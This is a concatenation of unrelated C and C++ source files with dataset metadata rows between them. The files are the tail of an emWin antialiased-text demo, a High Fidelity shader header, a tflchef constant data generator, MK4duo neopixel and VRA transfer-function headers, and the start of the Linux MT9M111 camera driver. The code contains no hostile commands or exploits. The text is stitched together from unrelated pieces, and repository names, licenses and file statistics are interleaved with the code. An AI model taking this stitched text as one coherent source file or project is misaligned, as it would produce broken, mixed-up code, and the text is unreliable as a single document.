0xFC, 0x00, 0x00, 0x00,
0xBD, 0x00, 0x03, 0x80,
0x7E, 0x00, 0x07, 0xF0,
0x3F, 0x40, 0x0F, 0xE0,
0x2F, 0xD0, 0x7F, 0xC0,
0x0F, 0xFF, 0xFF, 0x80,
0x03, 0xFF, 0xFE, 0x00,
0x00, 0x7F, 0xE0, 0x00
};
static GUI_CONST_STORAGE GUI_CHARINFO_EXT GUI_FontAA2_32_CharInfo[3] = {
{ 17, 20, 0, 6, 17, acGUI_FontAA2_32_0041 } // code 0041, LATIN CAPITAL LETTER A
,{ 14, 20, 2, 6, 17, acGUI_FontAA2_32_0042 } // code 0042, LATIN CAPITAL LETTER B
,{ 14, 20, 1, 6, 17, acGUI_FontAA2_32_0043 } // code 0043, LATIN CAPITAL LETTER C
};
static GUI_CONST_STORAGE GUI_FONT_PROP_EXT GUI_FontAA2_32_Prop1 = {
0x0041 // first character
,0x0043 // last character
,&GUI_FontAA2_32_CharInfo[ 0] // address of first character
,(GUI_CONST_STORAGE GUI_FONT_PROP_EXT *)0 // pointer to next GUI_FONT_PROP_EXT
};
static GUI_CONST_STORAGE GUI_FONT _FontAA2_32 = {
GUI_FONTTYPE_PROP_AA2_EXT // type of font
,33 // height of font
,33 // space of font y
,1 // magnification x
,1 // magnification y
,{&GUI_FontAA2_32_Prop1}
,33 // Baseline
,15 // Height of lowercase characters
,20 // Height of capital characters
};
/*********************************************************************
*
* Static code
*
**********************************************************************
*/
/*********************************************************************
*
* _DrawAlphaCircles
*/
static void _DrawAlphaCircles(int mx, int my, int r, int a, int FactorAA) {
const GUI_COLOR aColor[] = {
GUI_MAKE_COLOR(0xC00FFF38),
GUI_MAKE_COLOR(0xC000FF8E),
GUI_MAKE_COLOR(0xC000FCEA),
GUI_MAKE_COLOR(0xC000B4FF),
GUI_MAKE_COLOR(0xC0004EFF),
GUI_MAKE_COLOR(0xC01304FF),
GUI_MAKE_COLOR(0xC06E00FF),
GUI_MAKE_COLOR(0xC0D200FF),
GUI_MAKE_COLOR(0xC0FF00D2),
GUI_MAKE_COLOR(0xC0FF006E),
GUI_MAKE_COLOR(0xC0FF0413),
GUI_MAKE_COLOR(0xC0FF4E00),
GUI_MAKE_COLOR(0xC0FFB400),
GUI_MAKE_COLOR(0xC0EAFC00),
GUI_MAKE_COLOR(0xC08EFF00),
GUI_MAKE_COLOR(0xC038FF0F)
};
I32 x;
I32 y;
int Index;
I32 SinHQ;
I32 CosHQ;
U32 i;
U32 a1000;
mx *= FactorAA;
my *= FactorAA;
r *= FactorAA;
a1000 = a * -1000;
for (i = 0, Index = 0; i < 360000; i += 22500, Index++) {
SinHQ = GUI__SinHQ(i + a1000);
CosHQ = GUI__CosHQ(i + a1000);
x = (r * CosHQ) >> 16;
y = (r * SinHQ) >> 16;
GUI_SetColor(aColor[Index % GUI_COUNTOF(aColor)]);
GUI_AA_EnableHiRes();
GUI_AA_SetFactor(FactorAA);
GUI_AA_FillCircle(mx + x, my + y, r);
GUI_AA_DisableHiRes();
}
}
/*********************************************************************
*
* _DrawSample
*/
static void _DrawSample(GUI_RECT * pRect, int yd) {
GUI_RECT Rect;
Rect = *pRect;
//
// Use application defined clip rectangle
//
GUI_SetClipRect(&Rect);
//
// Move clip rectangle
//
GUI_MoveRect(&Rect, 65, 0);
//
// Draw sample
//
_DrawAlphaCircles((Rect.x0 + Rect.x1) >> 1, (Rect.y0 + Rect.y1) >> 1, 35, 0, 4);
GUI_SetColor(GUI_WHITE);
GUI_DispStringInRectWrap("ABC\nABC\nABC", &Rect, GUI_TA_HCENTER | GUI_TA_VCENTER, GUI_WRAPMODE_WORD);
//
// Move clip rectangle
//
GUI_MoveRect(&Rect, 65, 0);
GUI_DrawGradientH(Rect.x0, Rect.y0, Rect.x1, Rect.y1, GUI_BLACK, GUI_WHITE);
Rect.y1 = Rect.y0 + yd;
GUI_SetColor(GUI_RED);
GUI_DispStringInRect("ABC", &Rect, GUI_TA_HCENTER | GUI_TA_VCENTER);
GUI_MoveRect(&Rect, 0, yd);
GUI_SetColor(GUI_GREEN);
GUI_DispStringInRect("ABC", &Rect, GUI_TA_HCENTER | GUI_TA_VCENTER);
GUI_MoveRect(&Rect, 0, yd);
GUI_SetColor(GUI_BLUE);
GUI_DispStringInRect("ABC", &Rect, GUI_TA_HCENTER | GUI_TA_VCENTER);
GUI_MoveRect(&Rect, 0, -yd * 2);
Rect.y1 = Rect.y0 + yd * 3;
//
// Move clip rectangle
//
GUI_MoveRect(&Rect, 65, 0);
//
// Draw sample
//
Rect.y1 = Rect.y0 + yd;
GUI_SetBkColor(GUI_RED);
GUI_Clear();
GUI_MoveRect(&Rect, 0, yd);
GUI_SetBkColor(GUI_GREEN);
GUI_Clear();
GUI_MoveRect(&Rect, 0, yd);
GUI_SetBkColor(GUI_BLUE);
GUI_Clear();
GUI_MoveRect(&Rect, 0, -yd * 2);
Rect.y1 = Rect.y0 + yd * 3;
GUI_SetColor(GUI_WHITE);
GUI_DispStringInRectWrap("ABC\nABC\nABC", &Rect, GUI_TA_HCENTER | GUI_TA_VCENTER, GUI_WRAPMODE_WORD);
//
// Move clip rectangle
//
GUI_MoveRect(&Rect, 65, 0);
//
// Draw sample
//
Rect.y1 = Rect.y0 + yd;
GUI_DrawGradientV(Rect.x0, Rect.y0, Rect.x1, Rect.y1, GUI_RED, GUI_BLACK);
GUI_MoveRect(&Rect, 0, yd);
GUI_DrawGradientV(Rect.x0, Rect.y0, Rect.x1, Rect.y1, GUI_GREEN, GUI_BLACK);
GUI_MoveRect(&Rect, 0, yd);
GUI_DrawGradientV(Rect.x0, Rect.y0, Rect.x1, Rect.y1, GUI_BLUE, GUI_BLACK);
GUI_MoveRect(&Rect, 0, -yd * 2);
Rect.y1 = Rect.y0 + yd * 3;
GUI_SetColor(GUI_WHITE);
GUI_DispStringInRectWrap("ABC\nABC\nABC", &Rect, GUI_TA_HCENTER | GUI_TA_VCENTER, GUI_WRAPMODE_WORD);
//
// Disable application defined clip rectangle
//
GUI_SetClipRect(NULL);
}
/*********************************************************************
*
* _DrawText
*/
static void _DrawText(char * s, GUI_RECT * pRect) {
GUI_SetFont(GUI_FONT_13_ASCII);
GUI_SetColor(GUI_WHITE);
GUI_DispStringInRectWrap(s, pRect, GUI_TA_HCENTER | GUI_TA_VCENTER, GUI_WRAPMODE_WORD);
GUI_SetTextMode(GUI_TM_TRANS);
}
/*********************************************************************
*
* _DrawScreen
*/
static void _DrawScreen(void) {
GUI_RECT Rect;
int yd;
GUI_DrawBitmap(&_bmSeggerLogo_50x25, 10, 10);
GUI_SetFont(GUI_FONT_20B_ASCII);
GUI_DispStringHCenterAt("Antialiased text sample", 190, 5);
GUI_SetFont(GUI_FONT_13_ASCII);
GUI_DispStringHCenterAt("Shows antialiased text on different backgrounds.", 190, 25);
Rect.x0 = 0;
Rect.y0 = 43;
Rect.x1 = 59;
Rect.y1 = Rect.y0 + 95;
yd = (Rect.y1 - Rect.y0) / 3;
//
// 4 bit antialiasing sample
//
_DrawText("Antialiased text\n (4 bpp)", &Rect);
GUI_SetFont(&_FontAA4_32);
_DrawSample(&Rect, yd);
//
// 2 bit antialiasing sample
//
GUI_MoveRect(&Rect, 0, 101);
_DrawText("Antialiased text\n (2 bpp)", &Rect);
GUI_SetFont(&_FontAA2_32);
_DrawSample(&Rect, yd);
}
/*********************************************************************
*
* Public code
*
**********************************************************************
*/
/*********************************************************************
*
* MainTask
*/
void MainTask(void);
void MainTask(void) {
//
// Check if recommended memory for the sample is available
//
if (GUI_ALLOC_GetNumFreeBytes() < RECOMMENDED_MEMORY) {
GUI_ErrorOut("Not enough memory available.");
return;
}
GUI_EnableAlpha(1);
_DrawScreen();
while (1) {
GUI_Delay(100);
}
}
/*************************** End of file ****************************/
| 45.332746 | 255 | 0.603402 | [
"model"
] |
ebe0bc83df3f9fe5b6d63d189e3eec3630210235 | 7,197 | h | C | libraries/gpu/src/gpu/Shader.h | trentpolack/hifi | 3b8636b75c3df242c0aeecbca6e01f386e238f45 | [
"Apache-2.0"
] | 1 | 2020-10-26T22:28:42.000Z | 2020-10-26T22:28:42.000Z | libraries/gpu/src/gpu/Shader.h | trentpolack/hifi | 3b8636b75c3df242c0aeecbca6e01f386e238f45 | [
"Apache-2.0"
] | null | null | null | libraries/gpu/src/gpu/Shader.h | trentpolack/hifi | 3b8636b75c3df242c0aeecbca6e01f386e238f45 | [
"Apache-2.0"
] | 1 | 2019-07-05T08:39:35.000Z | 2019-07-05T08:39:35.000Z | //
// Shader.h
// libraries/gpu/src/gpu
//
// Created by Sam Gateau on 2/27/2015.
// Copyright 2014 High Fidelity, Inc.
//
// Distributed under the Apache License, Version 2.0.
// See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html
//
#ifndef hifi_gpu_Shader_h
#define hifi_gpu_Shader_h
#include "Resource.h"
#include <string>
#include <memory>
#include <set>
#include <QUrl>
namespace gpu {
class Shader {
public:
typedef std::shared_ptr< Shader > Pointer;
typedef std::vector< Pointer > Shaders;
class Source {
public:
enum Language {
GLSL = 0,
};
Source() {}
Source(const std::string& code, Language lang = GLSL) : _code(code), _lang(lang) {}
Source(const Source& source) : _code(source._code), _lang(source._lang) {}
virtual ~Source() {}
virtual const std::string& getCode() const { return _code; }
protected:
std::string _code;
Language _lang = GLSL;
};
static const int32 INVALID_LOCATION = -1;
class Slot {
public:
std::string _name;
int32 _location{INVALID_LOCATION};
Element _element;
uint16 _resourceType{Resource::BUFFER};
uint32 _size { 0 };
Slot(const Slot& s) : _name(s._name), _location(s._location), _element(s._element), _resourceType(s._resourceType), _size(s._size) {}
Slot(Slot&& s) : _name(s._name), _location(s._location), _element(s._element), _resourceType(s._resourceType), _size(s._size) {}
Slot(const std::string& name, int32 location, const Element& element, uint16 resourceType = Resource::BUFFER, uint32 size = 0) :
_name(name), _location(location), _element(element), _resourceType(resourceType), _size(size) {}
Slot(const std::string& name) : _name(name) {}
Slot& operator= (const Slot& s) {
_name = s._name;
_location = s._location;
_element = s._element;
_resourceType = s._resourceType;
_size = s._size;
return (*this);
}
};
class Binding {
public:
std::string _name;
int32 _location;
Binding(const std::string& name, int32 loc = INVALID_LOCATION) : _name(name), _location(loc) {}
};
template <typename T> class Less {
public:
bool operator() (const T& x, const T& y) const { return x._name < y._name; }
};
class SlotSet : public std::set<Slot, Less<Slot>> {
public:
Slot findSlot(const std::string& name) const {
auto key = Slot(name);
auto found = static_cast<const std::set<Slot, Less<Slot>>*>(this)->find(key);
if (found != end()) {
return (*found);
}
return key;
}
int32 findLocation(const std::string& name) const {
return findSlot(name)._location;
}
protected:
};
typedef std::set<Binding, Less<Binding>> BindingSet;
enum Type {
VERTEX = 0,
PIXEL,
GEOMETRY,
NUM_DOMAINS,
PROGRAM,
};
static Pointer createVertex(const Source& source);
static Pointer createPixel(const Source& source);
static Pointer createGeometry(const Source& source);
static Pointer createProgram(const Pointer& vertexShader, const Pointer& pixelShader);
static Pointer createProgram(const Pointer& vertexShader, const Pointer& geometryShader, const Pointer& pixelShader);
~Shader();
Type getType() const { return _type; }
bool isProgram() const { return getType() > NUM_DOMAINS; }
bool isDomain() const { return getType() < NUM_DOMAINS; }
void setCompilationHasFailed(bool compilationHasFailed) { _compilationHasFailed = compilationHasFailed; }
bool compilationHasFailed() const { return _compilationHasFailed; }
const Source& getSource() const { return _source; }
const Shaders& getShaders() const { return _shaders; }
// Access the exposed uniform, input and output slot
const SlotSet& getUniforms() const { return _uniforms; }
const SlotSet& getBuffers() const { return _buffers; }
const SlotSet& getTextures() const { return _textures; }
const SlotSet& getSamplers() const { return _samplers; }
const SlotSet& getInputs() const { return _inputs; }
const SlotSet& getOutputs() const { return _outputs; }
// Define the list of uniforms, inputs and outputs for the shader
// This call is intendend to build the list of exposed slots in order
// to correctly bind resource to the shader.
// These can be build "manually" from knowledge of the atual shader code
// or automatically by calling "makeShader()", this is the preferred way
void defineSlots(const SlotSet& uniforms, const SlotSet& buffers, const SlotSet& textures, const SlotSet& samplers, const SlotSet& inputs, const SlotSet& outputs);
// makeProgram(...) make a program shader ready to be used in a Batch.
// It compiles the sub shaders, link them and defines the Slots and their bindings.
// If the shader passed is not a program, nothing happens.
//
// It is possible to provide a set of slot bindings (from the name of the slot to a unit number) allowing
// to make sure slots with the same semantics can be always bound on the same location from shader to shader.
// For example, the "diffuseMap" can always be bound to texture unit #1 for different shaders by specifying a Binding("diffuseMap", 1)
//
// As of now (03/2015), the call to makeProgram is in fact calling gpu::Context::makeProgram and does rely
// on the underneath gpu::Context::Backend available. Since we only support glsl, this means that it relies
// on a gl Context and the driver to compile the glsl shader.
// Hoppefully in a few years the shader compilation will be completely abstracted in a separate shader compiler library
// independant of the graphics api in use underneath (looking at you opengl & vulkan).
static bool makeProgram(Shader& shader, const Shader::BindingSet& bindings = Shader::BindingSet());
const GPUObjectPointer gpuObject {};
protected:
Shader(Type type, const Source& source);
Shader(Type type, const Pointer& vertex, const Pointer& pixel);
Shader(Type type, const Pointer& vertex, const Pointer& geometry, const Pointer& pixel);
Shader(const Shader& shader); // deep copy of the sysmem shader
Shader& operator=(const Shader& shader); // deep copy of the sysmem texture
// Source contains the actual source code or nothing if the shader is a program
Source _source;
// if shader is composed of sub shaders, here they are
Shaders _shaders;
// List of exposed uniform, input and output slots
SlotSet _uniforms;
SlotSet _buffers;
SlotSet _textures;
SlotSet _samplers;
SlotSet _inputs;
SlotSet _outputs;
// The type of the shader, the master key
Type _type;
// Whether or not the shader compilation failed
bool _compilationHasFailed { false };
};
typedef Shader::Pointer ShaderPointer;
typedef std::vector< ShaderPointer > Shaders;
};
#endif
| 35.279412 | 167 | 0.663193 | [
"geometry",
"vector"
] |
ebe1f3d931bb1348e12c852c4d03e0f88fe21a38 | 1,587 | h | C | compiler/tflchef/core/src/Data/Constant.h | bogus-sudo/ONE-1 | 7052a817eff661ec2854ed2e7ee0de5e8ba82b55 | [
"Apache-2.0"
] | 1 | 2020-05-22T13:53:40.000Z | 2020-05-22T13:53:40.000Z | compiler/tflchef/core/src/Data/Constant.h | bogus-sudo/ONE-1 | 7052a817eff661ec2854ed2e7ee0de5e8ba82b55 | [
"Apache-2.0"
] | null | null | null | compiler/tflchef/core/src/Data/Constant.h | bogus-sudo/ONE-1 | 7052a817eff661ec2854ed2e7ee0de5e8ba82b55 | [
"Apache-2.0"
] | 1 | 2021-07-22T11:02:43.000Z | 2021-07-22T11:02:43.000Z | /*
* Copyright (c) 2018 Samsung Electronics Co., Ltd. All Rights Reserved
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef __CONSTANT_FILLER_H__
#define __CONSTANT_FILLER_H__
#include "DataChef.h"
#include "LexicalCast.h"
template <typename T> class ConstantDataChef final : public DataChef
{
public:
ConstantDataChef(const T &value) : _value{value}
{
// DO NOTHING
}
public:
std::vector<uint8_t> generate(int32_t count) const override
{
std::vector<uint8_t> res;
for (uint32_t n = 0; n < count; ++n)
{
const uint8_t *arr = reinterpret_cast<const uint8_t *>(&_value);
for (uint32_t b = 0; b < sizeof(T); ++b)
{
res.emplace_back(arr[b]);
}
}
return res;
}
private:
T _value;
};
template <typename T> struct ConstantDataChefFactory : public DataChefFactory
{
std::unique_ptr<DataChef> create(const Arguments &args) const
{
auto const value = to_number<T>(args.value(0));
return std::unique_ptr<DataChef>{new ConstantDataChef<T>{value}};
}
};
#endif // __CONSTANT_FILLER_H__
| 25.190476 | 77 | 0.696282 | [
"vector"
] |
ebe52eac0e3ba18d38efe94d3bd80aa40a2aea4f | 1,689 | h | C | firmware/MK4duo440/MK4duo/src/feature/rgbled/neopixel.h | michelebonacina/3DPrinterDIY | 985ed4bd58200b55e9dfd9683477a4b5c93d86bc | [
"MIT"
] | null | null | null | firmware/MK4duo440/MK4duo/src/feature/rgbled/neopixel.h | michelebonacina/3DPrinterDIY | 985ed4bd58200b55e9dfd9683477a4b5c93d86bc | [
"MIT"
] | null | null | null | firmware/MK4duo440/MK4duo/src/feature/rgbled/neopixel.h | michelebonacina/3DPrinterDIY | 985ed4bd58200b55e9dfd9683477a4b5c93d86bc | [
"MIT"
] | null | null | null | /**
* MK4duo Firmware for 3D Printer, Laser and CNC
*
* Based on Marlin, Sprinter and grbl
* Copyright (c) 2011 Camiel Gubbels / Erik van der Zalm
* Copyright (c) 2020 Alberto Cotronei @MagoKimbra
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#pragma once
/**
* neopixel.h
*
* Copyright (c) 2020 Alberto Cotronei @MagoKimbra
*/
#if ENABLED(NEOPIXEL_LED)
#include <Adafruit_NeoPixel.h>
#define NEOPIXEL_IS_RGB (NEOPIXEL_TYPE == NEO_RGB || NEOPIXEL_TYPE == NEO_RBG || NEOPIXEL_TYPE == NEO_GRB || NEOPIXEL_TYPE == NEO_GBR || NEOPIXEL_TYPE == NEO_BRG || NEOPIXEL_TYPE == NEO_BGR)
#define NEOPIXEL_IS_RGBW !NEOPIXEL_IS_RGB
#if NEOPIXEL_IS_RGB
#define NEO_WHITE 255, 255, 255, 0
#else
#define NEO_WHITE 0, 0, 0, 255
#endif
#define NEO_BLACK 0, 0, 0, 0
class Neopixel {
public: /** Constructor */
Neopixel() {}
public: /** Public Parameters */
static Adafruit_NeoPixel strip;
public: /** Public Function */
static void setup();
static void set_color(const uint32_t color);
};
extern Neopixel neopixel;
#endif // ENABLED(NEOPIXEL_LED)
| 25.984615 | 191 | 0.7164 | [
"3d"
] |
ebe82ad89a0cc1c827e36b10bd55f279f8a46f3e | 5,772 | h | C | app/VRA/src/ColorTransferFunctionWidget.h | benyaboy/sage-graphics | 090640167329ace4b6ad266d47db5bb2b0394232 | [
"Unlicense"
] | null | null | null | app/VRA/src/ColorTransferFunctionWidget.h | benyaboy/sage-graphics | 090640167329ace4b6ad266d47db5bb2b0394232 | [
"Unlicense"
] | null | null | null | app/VRA/src/ColorTransferFunctionWidget.h | benyaboy/sage-graphics | 090640167329ace4b6ad266d47db5bb2b0394232 | [
"Unlicense"
] | 1 | 2021-07-02T10:31:03.000Z | 2021-07-02T10:31:03.000Z | /*--------------------------------------------------------------------------*/
/* Volume Rendering Application */
/* Copyright (C) 2006-2007 Nicholas Schwarz */
/* */
/* This software is free software; you can redistribute it and/or modify it */
/* under the terms of the GNU Lesser General Public License as published by */
/* the Free Software Foundation; either Version 2.1 of the License, or */
/* (at your option) any later version. */
/* */
/* This software is distributed in the hope that it will be useful, but */
/* WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser */
/* General Public License for more details. */
/* */
/* You should have received a copy of the GNU Lesser Public License along */
/* with this library; if not, write to the Free Software Foundation, Inc., */
/* 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */
/*--------------------------------------------------------------------------*/
#include "ControlPoint.h"
#include <math.h>
#include <FL/glut.h>
#include <GL/gl.h>
#include <stdio.h>
#include <string.h>
#include <vector.h>
/*--------------------------------------------------------------------------*/
class ColorTransferFunctionWidget {
public:
// Constructor specifying window width and height
ColorTransferFunctionWidget(int w, int h);
// Destructor
~ColorTransferFunctionWidget();
// Add control point based on corresponding pixel coordinate, if valid
bool AddControlPoint(int px, int py);
// Draw
void Draw();
// Get control point
void GetControlPoint(int index, float* scalar, float* r, float* g, float* b);
// Get index of control point that lies at given pixel position, or -1
int GetControlPointIndex(int px, int py);
// Get index of control point that lies at given function coordinates, or -1
int GetControlPointIndex(float scalar);
// Get function coordinates at given pixel coordinates, if possible
bool GetFunctionCoordinates(int px, int py, float* scalar, float* r,
float* g, float* b);
// Get number of control points
int GetNumberOfControlPoints();
// Get color for a given scalar value
void GetColor(float scalar, float* r, float* g, float* b);
// Get scalar range
void GetScalarRange(float* min, float* max);
// Modify a control point's color, if possible
bool ModifyControlPointColor(int index, float r, float g, float b);
// Move control point to corresponding pixel coordinate, if possible
bool MoveControlPoint(int index, int px, int py);
// Move control point to corresponding function coordinate, if possible
bool MoveControlPoint(int index, float scalar);
// Restore control points from a list
void RestoreControlPoints(int number, float max, float* scalar,
float* r, float* g, float* b);
// Remove control point
bool RemoveControlPoint(int index);
// Set background color
void SetBackgroundColor(float r, float g, float b, float a);
// Set box color
void SetBoxColor(float r, float g, float b, float a);
// Set control point color
void SetControlPointColor(float r, float g, float b, float a);
// Set control point size
void SetControlPointSize(int size);
// Set window dimensions
void SetDimensions(int w, int h);
// Set focus point color
void SetFocusPointColor(float r, float g, float b, float a);
// Set line color
void SetLineColor(float r, float g, float b, float a);
// Set maximum scalar value
void SetMaximumScalar(float max);
// Set text color
void SetTextColor(float r, float g, float b, float a);
private:
// Convert box coordinates to function coordinates
void BoxToFunction(float bx, float by, float* scalar);
// Convert box coordinates to world coordinates
void BoxToWorld(float bx, float by, float* wx, float* wy);
// Convert function coordinates to box coordinates
void FunctionToBox(float scalar, float* bx, float* by);
// Is box coordinate valid in world space
bool IsBoxInWorld(float bx, float by);
// Is function coordinate valid in box space
bool IsFunctionInBox(float scalar);
// Is pixel coordinate valid in world space
bool IsPixelInWorld(int px, int py);
// Is world coordinate valid in box space
bool IsWorldInBox(float wx, float wy);
// Convert pixel coordinates to world coordinates
void PixelToWorld(int px, int py, float* wx, float* wy);
// Convert world coordinates to box coordinates
void WorldToBox(float wx, float wy, float* bx, float* by);
// Background color
float _backgroundColor[4];
// Box bounds in world coordinates
float _boxBound[4];
// Box color
float _boxColor[4];
// Control points
vector <ControlPoint> _controlPoint;
// Control point color
float _controlPointColor[4];
// Control point size
int _controlPointSize;
// Focus point index
int _focusPoint;
// Focus point color
float _focusPointColor[4];
// Frustum
float _frustum[6];
// Line color
float _lineColor[4];
// Number of control points
int _numberOfControlPoints;
// Window size
int _pixelDimensions[2];
// Scalar range
float _scalarMaximum;
float _scalarMinimum;
// Text color
float _textColor[4];
};
/*--------------------------------------------------------------------------*/
| 30.86631 | 79 | 0.618503 | [
"vector"
] |
ebeb28f722d91a95fb00becc54de9930972e780e | 783 | h | C | unreal/Puerts/Source/JsEnv/Public/TsDynamicInvoker.h | daxiazh/puerts | 7a201af037e72bd6c6871d11ec9058b2dbc38add | [
"BSD-3-Clause"
] | null | null | null | unreal/Puerts/Source/JsEnv/Public/TsDynamicInvoker.h | daxiazh/puerts | 7a201af037e72bd6c6871d11ec9058b2dbc38add | [
"BSD-3-Clause"
] | null | null | null | unreal/Puerts/Source/JsEnv/Public/TsDynamicInvoker.h | daxiazh/puerts | 7a201af037e72bd6c6871d11ec9058b2dbc38add | [
"BSD-3-Clause"
] | null | null | null | /*
* Tencent is pleased to support the open source community by making Puerts available.
* Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved.
* Puerts is licensed under the BSD 3-Clause License, except for the third-party components listed in the file 'LICENSE' which may be subject to their corresponding license terms.
* This file is subject to the terms and conditions defined in file 'LICENSE', which is part of this source code package.
*/
#pragma once
class UTypeScriptGeneratedClass;
namespace puerts
{
class ITsDynamicInvoker
{
public:
virtual void TsConstruct(UTypeScriptGeneratedClass* Class, UObject* Object) = 0;
virtual void InvokeTsMethod(UObject *ContextObject, UFunction *Function, FFrame &Stack, void *RESULT_PARAM) = 0;
};
}
| 32.625 | 178 | 0.773946 | [
"object"
] |
ebebec8f790f95480e8dfbe957817eeb24d49a36 | 1,824 | h | C | include/sim_config.h | SLAM-Lab/HCSim | eac9c4296f071295cd7781d753691867296720a0 | [
"BSD-3-Clause"
] | 2 | 2019-07-04T03:33:51.000Z | 2021-05-12T21:38:10.000Z | include/sim_config.h | SLAM-Lab/HCSim | eac9c4296f071295cd7781d753691867296720a0 | [
"BSD-3-Clause"
] | null | null | null | include/sim_config.h | SLAM-Lab/HCSim | eac9c4296f071295cd7781d753691867296720a0 | [
"BSD-3-Clause"
] | 2 | 2017-06-15T15:19:19.000Z | 2020-06-10T11:48:45.000Z |
#define SIM_RESOLUTION sc_core::SC_PS
#define CLOCK_PERIOD 1000/*SC_PS*/
#define BUS_CLOCK_PERIOD 1000 /*SC_PS*/
/********************************************
COMMENT OUT FOR UNTIMED BUS MODEL */
#define BUS_TIMED_MODEL
/********************************************/
/********************************************
Interrupt Handler macros
>> Delays could be application-specific
>> The following numbers are obtained from Linux kernel traces.
*/
#define IHANDLER_DELAY_1 ((sc_dt::uint64)2650*CLOCK_PERIOD)
#define IHANDLER_DELAY_2 ((sc_dt::uint64)450*CLOCK_PERIOD)
#define SHANDLER_DELAY ((sc_dt::uint64)2800*CLOCK_PERIOD)
#define IHANDLER_INSTR_1 2650
#define IHANDLER_INSTR_2 450
#define SHANDLER_INSTR 2800
/********************************************
COMMENT OUT FOR UNTIMED OS HANDSHAKE CHANNEL
>> Delays are application specific.
>> The following numbers are for artificial task sets example.
*/
#define TIMED_HANDSHAKE_CHANNEL
#define HSHK_CH_RECEIVE_DELAY ((sc_dt::uint64)800*CLOCK_PERIOD)
#define HSHK_CH_RECEIVE_DELAY_2 ((sc_dt::uint64)1290*CLOCK_PERIOD)
#define HSHK_CH_SEND_DELAY ((sc_dt::uint64)1500*CLOCK_PERIOD)
#define HSHK_CH_RECEIVE_INSTR 800
#define HSHK_CH_RECEIVE_INSTR_2 1290
#define HSHK_CH_SEND_INSTR 1500
/*
*********************************************/
/********************************************
Generic interrupt controller trace enabled.
#define GIC_TRACE_ON
*********************************************/
/********************************************
Interrupt handler trace enabled.
#define INTR_TRACE_ON
*********************************************/
/********************************************
OS statistics report enabled.
*/
#define OS_STATISTICS_ON
/*********************************************/
| 33.163636 | 67 | 0.55318 | [
"model"
] |
ebebed929627c8a8ffcae19a6730992a066c0372 | 29,520 | c | C | drivers/media/video/mt9m111.c | tuxafgmur/OLD_Dhollmen_Kernel | 90ed4e2e3e6321de246fa193705ae40ede4e2d8e | [
"BSD-Source-Code"
] | 4 | 2016-07-01T04:50:02.000Z | 2021-11-14T21:29:42.000Z | drivers/media/video/mt9m111.c | tuxafgmur/OLD_Dhollmen_Kernel | 90ed4e2e3e6321de246fa193705ae40ede4e2d8e | [
"BSD-Source-Code"
] | null | null | null | drivers/media/video/mt9m111.c | tuxafgmur/OLD_Dhollmen_Kernel | 90ed4e2e3e6321de246fa193705ae40ede4e2d8e | [
"BSD-Source-Code"
] | 1 | 2020-04-03T14:00:39.000Z | 2020-04-03T14:00:39.000Z | /*
* Driver for MT9M111/MT9M112/MT9M131 CMOS Image Sensor from Micron/Aptina
*
* Copyright (C) 2008, Robert Jarzmik <robert.jarzmik@free.fr>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/videodev2.h>
#include <linux/slab.h>
#include <linux/i2c.h>
#include <linux/log2.h>
#include <linux/gpio.h>
#include <linux/delay.h>
#include <media/v4l2-common.h>
#include <media/v4l2-chip-ident.h>
#include <media/soc_camera.h>
/*
* MT9M111, MT9M112 and MT9M131:
* i2c address is 0x48 or 0x5d (depending on SADDR pin)
* The platform has to define i2c_board_info and call i2c_register_board_info()
*/
/*
* Sensor core register addresses (0x000..0x0ff)
*/
#define MT9M111_CHIP_VERSION 0x000
#define MT9M111_ROW_START 0x001
#define MT9M111_COLUMN_START 0x002
#define MT9M111_WINDOW_HEIGHT 0x003
#define MT9M111_WINDOW_WIDTH 0x004
#define MT9M111_HORIZONTAL_BLANKING_B 0x005
#define MT9M111_VERTICAL_BLANKING_B 0x006
#define MT9M111_HORIZONTAL_BLANKING_A 0x007
#define MT9M111_VERTICAL_BLANKING_A 0x008
#define MT9M111_SHUTTER_WIDTH 0x009
#define MT9M111_ROW_SPEED 0x00a
#define MT9M111_EXTRA_DELAY 0x00b
#define MT9M111_SHUTTER_DELAY 0x00c
#define MT9M111_RESET 0x00d
#define MT9M111_READ_MODE_B 0x020
#define MT9M111_READ_MODE_A 0x021
#define MT9M111_FLASH_CONTROL 0x023
#define MT9M111_GREEN1_GAIN 0x02b
#define MT9M111_BLUE_GAIN 0x02c
#define MT9M111_RED_GAIN 0x02d
#define MT9M111_GREEN2_GAIN 0x02e
#define MT9M111_GLOBAL_GAIN 0x02f
#define MT9M111_CONTEXT_CONTROL 0x0c8
#define MT9M111_PAGE_MAP 0x0f0
#define MT9M111_BYTE_WISE_ADDR 0x0f1
#define MT9M111_RESET_SYNC_CHANGES (1 << 15)
#define MT9M111_RESET_RESTART_BAD_FRAME (1 << 9)
#define MT9M111_RESET_SHOW_BAD_FRAMES (1 << 8)
#define MT9M111_RESET_RESET_SOC (1 << 5)
#define MT9M111_RESET_OUTPUT_DISABLE (1 << 4)
#define MT9M111_RESET_CHIP_ENABLE (1 << 3)
#define MT9M111_RESET_ANALOG_STANDBY (1 << 2)
#define MT9M111_RESET_RESTART_FRAME (1 << 1)
#define MT9M111_RESET_RESET_MODE (1 << 0)
#define MT9M111_RMB_MIRROR_COLS (1 << 1)
#define MT9M111_RMB_MIRROR_ROWS (1 << 0)
#define MT9M111_CTXT_CTRL_RESTART (1 << 15)
